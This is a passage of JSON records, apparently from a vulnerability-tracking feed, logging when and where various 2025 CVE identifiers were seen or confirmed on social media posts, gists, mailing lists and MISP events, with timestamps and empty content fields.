"cve-2025-45388", "type": "seen", "source": "https://bsky.app/profile/some-rss-feeds.bsky.social/post/3loxqfedd3i2a", "content": "", "creation_timestamp": "2025-05-12T10:15:00.441024Z"}, {"uuid": "0d6671ba-32d8-44a4-be19-352fd2c0086c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45854", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqpsu7sisk2s", "content": "", "creation_timestamp": "2025-06-03T17:28:15.873876Z"}, {"uuid": "debd0115-4c2f-490a-adcb-c485ac2d49a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45985", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-45985.yaml", "content": "", "creation_timestamp": "2025-06-24T08:35:40.000000Z"}, {"uuid": "a681457d-8962-4ba1-b4c1-5a5b6ce866c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45835", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loy7du7z4t2e", "content": "", "creation_timestamp": "2025-05-12T14:42:36.397987Z"}, {"uuid": "820cb60c-40fe-4317-8143-977bc3a6e3bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45779", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114496030844104883", "content": "", "creation_timestamp": "2025-05-12T17:26:23.692427Z"}, {"uuid": "c7c294c3-10c9-480d-9c75-f914ed5ebca7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45779", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loyn2ednlg2p", "content": "", "creation_timestamp": "2025-05-12T18:47:52.485728Z"}, {"uuid": "188972e0-ef4e-46e1-b3d7-2e45134eadb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "6026253f-7d34-439b-93bc-917a0ec0aecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lqpvslvzl22g", "content": "", "creation_timestamp": "2025-06-03T18:21:01.759941Z"}, {"uuid": "c24d426b-10dd-4241-8ddd-a03c754c5034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqmbewqykb2c", "content": "", "creation_timestamp": "2025-06-02T07:37:26.400322Z"}, {"uuid": "2376db4a-a3f3-441b-889d-7f614311d7ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqmbf3nets2n", "content": "", "creation_timestamp": "2025-06-02T07:37:31.329797Z"}, {"uuid": "4063d367-16c3-4530-8826-96199f44a393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lqpxnjbb6k2h", "content": "", "creation_timestamp": "2025-06-03T18:53:55.494648Z"}, {"uuid": "6f67d5f7-2720-44d6-8b35-abbd25bf325a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45864", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2rm2wdimr2", "content": "", "creation_timestamp": "2025-05-13T15:31:07.571913Z"}, {"uuid": "2ce89f08-e0bc-4ccc-b41b-7f775ef3976e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45866", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2rm6hncez2", "content": "", "creation_timestamp": "2025-05-13T15:31:09.371890Z"}, {"uuid": "f54366fd-c2ec-4da3-83f8-bd17c5a0c3f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45859", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2rmklzyrz2", "content": "", "creation_timestamp": "2025-05-13T15:31:30.919352Z"}, {"uuid": "9ffa2cde-c172-4c2c-b505-e6954444b7c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45867", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp2wsscrhh2h", "content": "", "creation_timestamp": "2025-05-13T16:47:53.038896Z"}, {"uuid": "4f4431d3-4903-48d7-9df4-8d421b746320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45864", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp2wsslx2224", "content": "", "creation_timestamp": "2025-05-13T16:47:53.739534Z"}, {"uuid": "7b84327a-a6c8-4336-9f50-e369ed3eb7c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45866", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp2wssvth224", "content": "", "creation_timestamp": "2025-05-13T16:47:55.361655Z"}, {"uuid": "70ff1cc3-b65c-4fdd-b99f-19501fc78f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45859", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp2wst4mo42l", "content": "", "creation_timestamp": "2025-05-13T16:47:56.583058Z"}, {"uuid": "8faa7b11-d8f5-4483-98c2-43de0b731732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45857", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp2wstdfln2h", "content": "", "creation_timestamp": "2025-05-13T16:47:58.266083Z"}, {"uuid": "39250de2-5c12-42df-af01-32d02dd10c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45858", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp2wsukc5s24", "content": "", "creation_timestamp": "2025-05-13T16:48:04.618464Z"}, {"uuid": "757e6d3c-719b-4768-a5b7-3c7ab37907b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45746", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp3eadhtws2e", "content": "", "creation_timestamp": "2025-05-13T20:48:06.716222Z"}, {"uuid": "8d3cbe1d-0f50-467d-9764-1863f78eaeb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45861", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp3eaec2pv2h", "content": "", "creation_timestamp": "2025-05-13T20:48:08.523682Z"}, {"uuid": "ee1135be-8c8d-4cf4-a5db-ea11a516527b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45865", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp3eafkeki2t", "content": "", "creation_timestamp": "2025-05-13T20:48:15.774169Z"}, {"uuid": "8300860d-3ae8-40ef-89b2-891229b67210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp3kjfd57wh2", "content": "", "creation_timestamp": "2025-05-13T22:59:36.726661Z"}, {"uuid": "f44bed3a-9099-4728-a1ae-3f2e8ae24edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3lqmecdatct2i", "content": "", "creation_timestamp": "2025-06-02T08:29:39.882872Z"}, {"uuid": "ea6652e4-f7f2-4235-9b69-0a959d8f5b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/114559121240052584", "content": "", "creation_timestamp": "2025-05-23T20:51:06.891273Z"}, {"uuid": "8a6519a4-bedc-41be-a227-c3de1d56c35f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45879", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lswlux7clx2j", "content": "", "creation_timestamp": "2025-07-01T21:02:24.013521Z"}, {"uuid": "dfd504cb-706f-4526-bfed-b6eb8afa4cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4520", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp4ctsa27uc2", "content": "", "creation_timestamp": "2025-05-14T05:56:06.961077Z"}, {"uuid": "8c2b151d-a65c-41f1-a784-31d4626a695b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4520", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp4dip5uvv2h", "content": "", "creation_timestamp": "2025-05-14T06:07:34.081461Z"}, {"uuid": "baaaa0cb-2ca9-4f97-b42a-feb667d3d746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "b6aeb438-eb80-4737-b212-67a458b3ea56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4524", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpotlbfnf52o", "content": "", "creation_timestamp": "2025-05-21T14:43:16.086944Z"}, {"uuid": "469c1115-6555-488b-b477-7e0ae166015a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lre4rgggq22d", "content": "", "creation_timestamp": "2025-06-11T19:18:52.305047Z"}, {"uuid": "319ad76c-afd4-485b-a870-b4fbe62dadd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45863", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp5gq7ak4y2e", "content": "", "creation_timestamp": "2025-05-14T16:38:07.311015Z"}, {"uuid": "31d1e74f-3425-4cbb-8812-52c47fd6351e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4579", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp6jdx32gf2p", "content": "", "creation_timestamp": "2025-05-15T02:57:35.144083Z"}, {"uuid": "e55adbd1-6926-440a-8d53-34963a539f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4591", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp6wrgupt52p", "content": "", "creation_timestamp": "2025-05-15T06:57:46.377785Z"}, {"uuid": "6c864136-5ac8-4262-ae65-fb2e8d5ea485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4589", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp6wrhrrbc2t", "content": "", "creation_timestamp": "2025-05-15T06:57:50.499141Z"}, {"uuid": "e163ebc8-a8a5-40cd-8386-4507e984b4be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "1e1f2994-aa04-4869-8cdc-99bb5410b5d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45997", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqaiud5pwjr2", "content": "", "creation_timestamp": "2025-05-28T15:22:46.257491Z"}, {"uuid": "7e51c77d-1678-44d3-b439-805588a17847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45997", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqaiufncmvr2", "content": "", "creation_timestamp": "2025-05-28T15:22:48.053936Z"}, {"uuid": "ecf89d1a-0824-4a99-a3be-e12ec91ea630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4568", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqu5q425pi2r", "content": "", "creation_timestamp": "2025-06-05T10:53:23.792054Z"}, {"uuid": "88061644-90f4-40a8-9589-cae9155ce277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45143", "type": "seen", "source": "https://gist.github.com/6en6ar/361608bccedb808061359481fe2f1b39", "content": "", "creation_timestamp": "2025-06-30T11:37:37.000000Z"}, {"uuid": "267b94a5-3067-4f17-b890-3b264c138db3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4564", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp7q7r4ob62r", "content": "", "creation_timestamp": "2025-05-15T14:33:10.247528Z"}, {"uuid": "eece4bac-7512-4821-bb0b-d2a56c41fd92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp7rvhuvum2n", "content": "", "creation_timestamp": "2025-05-15T15:03:19.103560Z"}, {"uuid": "87e6a927-ea9c-4405-b88e-b2296a0afa41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45938", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lt3gniw6po2l", "content": "", "creation_timestamp": "2025-07-03T19:12:01.539022Z"}, {"uuid": "554f5390-888a-4c92-8518-2285c7ebe076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4597", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqfaqadygpn2", "content": "", "creation_timestamp": "2025-05-30T12:37:17.366888Z"}, {"uuid": "b8905113-0744-460b-bc59-60fac88708b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lry4zkf3hh2c", "content": "", "creation_timestamp": "2025-06-19T18:16:37.524283Z"}, {"uuid": "72d6786d-70b2-4a42-8846-f3bbaa49fb5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "9351dc1f-986e-460e-ae6e-02b92a976ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4570", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3luhnnxjj4b2l", "content": "", "creation_timestamp": "2025-07-21T09:14:42.276150Z"}, {"uuid": "9a55bf2e-226c-45b5-9524-01ce518b4c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4570", "type": "seen", "source": "MISP/a3c5beab-b790-4171-8b4c-02c8a9678071", "content": "", "creation_timestamp": "2025-07-22T03:54:24.000000Z"}, {"uuid": "8e9e1392-9e7f-488a-b280-bd5cbfa78059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45326", "type": "seen", "source": "https://gist.github.com/mamdouhalrekabi-ops/3e230eb973101aa6ac7003427a723e29", "content": "", "creation_timestamp": "2025-09-10T03:05:33.000000Z"}, {"uuid": "eb9358bd-e8e4-4b90-9835-d7bef9898e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45150", "type": "seen", "source": "https://gist.github.com/ycshao12/69a48551cc6c9cc69153d137afe9ecef", "content": "", "creation_timestamp": "2025-07-26T03:24:41.000000Z"}, {"uuid": "d7d849a5-10a5-47ee-b149-2c5c8be9a8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45892", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3luvhjyce7d2k", "content": "", "creation_timestamp": "2025-07-26T21:02:23.164117Z"}, {"uuid": "c4a8edc8-5c3b-465e-bffc-0f06de898bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45893", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3luvhjyexuv2x", "content": "", "creation_timestamp": "2025-07-26T21:02:23.770485Z"}, {"uuid": "6f490be7-6667-4c79-89a9-d052b5bdee60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45311", "type": "seen", "source": "https://bsky.app/profile/gslin.bsky.social/post/3m6kwdyyl452s", "content": "", "creation_timestamp": "2025-11-26T22:40:07.429169Z"}, {"uuid": "ec07649c-0589-4814-84d2-5f600ac347b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4581", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m4jernuxsq2f", "content": "", "creation_timestamp": "2025-10-31T21:02:51.747355Z"}, {"uuid": "a1c14135-e7c7-499f-8d73-78bb0c7e576f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45346", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lv4xrvl65g26", "content": "", "creation_timestamp": "2025-07-29T20:41:45.610571Z"}, {"uuid": "191d3433-efb5-48b4-a1be-7b3643c993da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45766", "type": "seen", "source": "https://gist.github.com/ZupeiNie/9de26f17a5e135b50fa388999e912c42", "content": "", "creation_timestamp": "2025-07-30T01:44:57.000000Z"}, {"uuid": "2a0aaca3-534f-405c-8b4c-d1d87c77fcc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45765", "type": "seen", "source": "https://gist.github.com/ZupeiNie/c621253068ce5b64911629534879e8f9", "content": "", "creation_timestamp": "2025-07-30T01:41:39.000000Z"}, {"uuid": "980ce2d2-06de-4d51-8685-f4d75aa56751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45764", "type": "seen", "source": "https://gist.github.com/ZupeiNie/2250cf1758771d56272dc326ce066202", "content": "", "creation_timestamp": "2025-07-30T01:31:40.000000Z"}, {"uuid": "a5b21b6c-4659-4e59-8d4d-de760adaf385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45767", "type": "seen", "source": "https://gist.github.com/ZupeiNie/705a606fbb99f3bb8c9b51e5bc13c91d", "content": "", "creation_timestamp": "2025-07-30T01:49:33.000000Z"}, {"uuid": "92157801-1957-4769-a49e-02e64ce0989c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45768", "type": "seen", "source": "https://gist.github.com/ZupeiNie/6f65e564f2067b876321d3dfdbb76569", "content": "", "creation_timestamp": "2025-07-30T01:53:20.000000Z"}, {"uuid": "c41ed057-d82f-4830-89c3-434d78bf1d4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45769", "type": "seen", "source": "https://gist.github.com/ZupeiNie/83756316c4c24fe97a50176a92608db3", "content": "", "creation_timestamp": "2025-07-30T01:57:02.000000Z"}, {"uuid": "9d26cb5e-1687-4a40-b950-770b3bf74c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45770", "type": "seen", "source": "https://gist.github.com/ZupeiNie/cd88c827eef11a1618f8baacccd240fb", "content": "", "creation_timestamp": "2025-07-30T01:59:08.000000Z"}, {"uuid": "e251eaea-31c8-4b21-ba58-5de4f11a25a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45768", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lvcd3qaw7i2e", "content": "", "creation_timestamp": "2025-07-31T23:47:25.391770Z"}, {"uuid": "4d343ef5-786e-4b09-bc71-e65130b3adfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45778", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lvh2scghwl24", "content": "", "creation_timestamp": "2025-08-02T21:02:19.110172Z"}, {"uuid": "49e9fbe3-edb8-4ba0-afe8-f33793e81cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45311", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m6nbebigpf2l", "content": "", "creation_timestamp": "2025-11-27T21:02:29.038938Z"}, {"uuid": "08e25cda-882b-4575-92cb-31c9a38654c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4522", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m4zezcfrho2n", "content": "", "creation_timestamp": "2025-11-07T05:49:26.739172Z"}, {"uuid": "4fee2981-7252-4828-975a-4df8a5e6c431", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4519", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m4zguh5sqc26", "content": "", "creation_timestamp": "2025-11-07T06:22:31.508827Z"}, {"uuid": "6cdba9ba-fbf2-4433-8df7-ae0d6ece6ef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4519", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3m4zjjmanbsf2", "content": "", "creation_timestamp": "2025-11-07T07:10:11.074312Z"}, {"uuid": "c3c568b9-8ae7-4aac-8a5e-07761727cf46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4522", "type": "seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3m4zjjttmjhf2", "content": "", "creation_timestamp": "2025-11-07T07:10:23.888455Z"}, {"uuid": "7099a184-d071-48c5-bb01-a4c45ac2c9bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45809", "type": "seen", "source": "MISP/1413a78e-c0b3-4092-97e7-909fb9773448", "content": "", "creation_timestamp": "2025-08-06T13:54:19.000000Z"}, {"uuid": "d37267c0-0a0f-40fe-aaf8-cb17668f74b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45938", "type": "seen", "source": "MISP/1413a78e-c0b3-4092-97e7-909fb9773448", "content": "", "creation_timestamp": "2025-08-06T13:54:20.000000Z"}, {"uuid": "f00ef304-45e9-4715-93ed-ee97cdb4ba55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 